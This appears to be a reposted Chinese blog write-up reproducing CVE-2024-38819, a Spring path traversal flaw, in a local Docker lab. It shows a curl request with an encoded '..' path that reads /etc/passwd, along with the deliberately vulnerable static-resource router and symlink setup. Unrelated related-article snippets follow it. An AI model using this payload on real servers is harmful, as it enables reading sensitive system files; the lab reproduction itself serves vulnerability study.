CVE-2024-38819:Spring 框架路径遍历 PoC 漏洞复现

操作:

根据CVE-2024-38819:Spring 框架路径遍历 PoC 漏洞搭建复现的靶场环境

拿到环境的源码使用docker搭建

cd vuln

创建容器并启动

docker build -t cve-2024-38819-poc . docker run -d -p 8080:8080 --name cve-2024-38819-poc cve-2024-38819-poc

注意在创建的时候有些镜像无法拉取到,可以在Dockerfile文件中修改配置使用其他的镜像

使用命令来验证是否存在漏洞

curl http://localhost:8080/static/link/%2e%2e/etc/passwd

请求成功返回了/etc/passwd文件的内容,证明存在该漏洞

该漏洞利用了路径遍历问题,使攻击者能够访问系统中本不应暴露的文件(如/etc/passwd)。攻击者能够进一步利用该信息来获取其他敏感数据或执行任意代码。

解析:
  1. 设置静态资源路由:创建PathTraversalDemoApplication.java文件,使用RouterFunctionFileSystemResource设置静态文件路由

    public RouterFunction<ServerResponse> staticResourceRouter() { return RouterFunctions.resources("/static/**", new FileSystemResource("/app/static/")); }

    这段代码创建了一个静态文件资源的路由。当用户访问/static/**路径时,系统会从/app/static/目录中提供文件。

  2. 创建符号链接

    RUN ln -s /static /app/static/link

    在 Dockerfile 中,ln -s命令创建了一个符号链接/static,指向/app/static/link。这意味着攻击者可以通过访问/static/link来尝试获取指向其他系统路径的文件。

  3. 利用路径遍历漏洞: 通过创建符号链接,攻击者可以尝试构造一个路径遍历的恶意 URL。例如:

    /static/link/%2e%2e/etc/passwd

    其中,%2e%2e%2e编码的..,代表父目录。攻击者通过这种方式尝试从/app/static/目录“跳出”并访问系统的其他目录(如/etc/passwd),从而获取系统敏感信息。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/1125364.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

基于Python爬虫的网络小说热度分析django-计算机毕业设计源码+LW文档

摘 要 在数字化信息飞速发展的当下&#xff0c;网络文学市场规模不断扩大&#xff0c;网络小说热度分析对于了解读者喜好、优化平台运营具有重要意义。随着互联网技术的持续演进&#xff0c;海量的网络小说数据蕴含着丰富的读者行为和偏好信息&#xff0c;如何从中挖掘有价值的…

com.microsoft.sqlserversqljdbc4jar4.0 was not found产生原因及解决步骤

文章目录 问题 sqlserver 包找不到 报错原因分析 主要原因 解决方案 步骤 1&#xff1a;检查 pom.xml 中的依赖声明步骤 2&#xff1a;配置 Microsoft 的 Maven 仓库步骤 3&#xff1a;强制更新 Maven 依赖步骤 4&#xff1a;清理本地仓库缓存步骤 5&#xff1a;手动下载并安装…

2026年最新爆火!7款AI论文写作神器限时实测,一键生成文献综述与真实交叉引用

引言&#xff1a;DDL前24小时的绝望&#xff1f;这篇急救指南能救你 凌晨3点&#xff0c;电脑屏幕亮着未完成的论文初稿&#xff0c;文献综述还缺30篇引用&#xff0c;导师的修改意见堆了3页——这是不是你赶论文时的真实写照&#xff1f; 2026年学术圈已经卷到“用AI抢时间”…

com.mysql.cj.jdbc.exceptions.CommunicationsException Communications link failure 问题解决

前言: 一般这个报错大多是网络原因导致的&#xff0c;确保你不是网络问题再往下看 问题 在一个方法上&#xff08;该方法非常复杂执行时间长&#xff09;加了 Transactional(rollbackFor Exception.class)后出现了如下图所示的错误解决&#xff1a; 经过排查并非网络问题。复现…

【NLP】Hugging Face使用指南

文章目录一、Hugging Face介绍二、加载并使用预训练模型2.1 查找预训练模型2.2 实际案例2.2.1 调取预训练模型2.2.2 如何在具体的推理任务中使用预训练模型&#xff1f;2.3 如何在训练前就判定好哪些模型适用于实际任务&#xff1f;三、词嵌入工具与词嵌入模型3.1 调用分词器&a…

Git合并时忽略文件的6种技巧

有几种方法可以在 git merge 时忽略特定文件的合并&#xff1a;方法一&#xff1a;使用 .gitattributes 文件&#xff08;推荐&#xff09;在项目根目录创建或编辑 .gitattributes 文件&#xff1a;infostation.js mergeours *.js mergeours # 如果需要忽略所有js文件的合并然…

在 Ubuntu 下载 Typora

1.下载 Typora 安装包 鱼香ROS_Typora 安装地址https://fishros.org.cn/forum/topic/23/%E5%AE%89%E8%A3%85typora%E6%9C%80%E5%90%8E%E7%9A%84%E5%85%8D%E8%B4%B9%E7%89%88 2.不解压&#xff0c;下载 Typora 首先找到压缩包下载地址&#xff0c;右键空白处选择在终端中打开&…

RK3588+kylin V10安装docker

检查内核是否支持docker 方法&#xff1a;工具分享&#xff1a;检测内核配置是否支持Docker等容器 (1)检查卸载老版本Docker sudo apt-get remove docker docker-engine docker.io containerd runc (2)安装Docker依赖 sudo apt-get install ca-certificates curl gnupg lsb…

ATL80.dll文件丢失找不到 打不开问题 免费下载方法分享

在使用电脑系统时经常会出现丢失找不到某些文件的情况&#xff0c;由于很多常用软件都是采用 Microsoft Visual Studio 编写的&#xff0c;所以这类软件的运行需要依赖微软Visual C运行库&#xff0c;比如像 QQ、迅雷、Adobe 软件等等&#xff0c;如果没有安装VC运行库或者安装…

atl110.dll文件丢失找不到 打不开问题 免费下载方法分享

在使用电脑系统时经常会出现丢失找不到某些文件的情况&#xff0c;由于很多常用软件都是采用 Microsoft Visual Studio 编写的&#xff0c;所以这类软件的运行需要依赖微软Visual C运行库&#xff0c;比如像 QQ、迅雷、Adobe 软件等等&#xff0c;如果没有安装VC运行库或者安装…

最新爆火6款免费AI论文神器!PaperTan一站式搞定选题降重

紧急预警&#xff1a;论文截止只剩72小时&#xff1f;这些AI工具能救你命&#xff01; 凌晨3点的图书馆、满屏的文献标红、导师催改的第12条消息——如果你正在经历这些&#xff0c;现在就是你最后的急救机会&#xff01;2024年最新爆火的6款免费AI论文工具&#xff0c;能帮你…

深度测评专科生必备9款AI论文平台:2026最新对比与推荐

深度测评专科生必备9款AI论文平台&#xff1a;2026最新对比与推荐 2026年专科生论文写作工具测评&#xff1a;为何需要一份权威榜单&#xff1f; 随着AI技术的不断进步&#xff0c;越来越多的专科生开始借助AI工具提升论文写作效率。然而&#xff0c;面对市场上五花八门的平台&…

Linux 命令行实战训练营(

Linux 命令行实战训练营&#xff08;Linux Command Line Bootcamp&#xff09;课程基本信息- 发布时间&#xff1a;2026年1月 - 格式与规格&#xff1a;MP4 格式 | 视频 1920x1080 分辨率 - 语言&#xff1a;英语 - 时长&#xff1a;28 节课&#xff08;总计 4 小时 &#xff…

VisionPro二开之九点标定

VisionPro二开之九点标定 方式1&#xff1a; CogCalibNPointToNPointTool方式2 安装平移九点标定 using System; using System.Collections.Generic; using MathNet.Numerics.LinearAlgebra;namespace 平移标定的数学公式 {public class CoordinateCalibration{// 存储标定点对…

Design Fluid Viscous Dampers in SAP2000 and Peform3D

在 SAP2000 和 Perform3D 中设计粘滞流体阻尼器课程基本信息- 发布时间&#xff1a;2026年 - 格式与规格&#xff1a;MP4 格式 - 语言&#xff1a;英语 - 时长&#xff1a;1小时 - 大小&#xff1a;950 MB - 核心主题&#xff1a;基于 SAP2000 的实用抗震阻尼器建模、非线性分析…

2026新测!这几款款亲测有效的降ai率工具推荐,含手把手教你论文降ai,查重率从红变绿只需几分钟!

写论文最怕什么&#xff1f;不是卡在查重&#xff0c;而是AI率高得离谱。明明自己码了一万多字&#xff0c;检测报告一出来&#xff0c;红到眼晕。别急&#xff0c;我这篇就是给你准备的——从免费降ai率方法到收费工具实测&#xff0c;帮你彻底搞清楚怎么降低ai率、怎么用靠谱…

VisionPro之九点标定

VisionPro之九点标定

全网最全ai降ai方法:亲测能有效降低ai痕迹,论文降aigc从此不求人,导师看了都说好!

写论文最怕什么&#xff1f;不是卡在查重&#xff0c;而是AI率高得离谱。明明自己码了一万多字&#xff0c;检测报告一出来&#xff0c;红到眼晕。别急&#xff0c;我这篇就是给你准备的——从免费降ai率方法到收费工具实测&#xff0c;帮你彻底搞清楚怎么降低ai率、怎么用靠谱…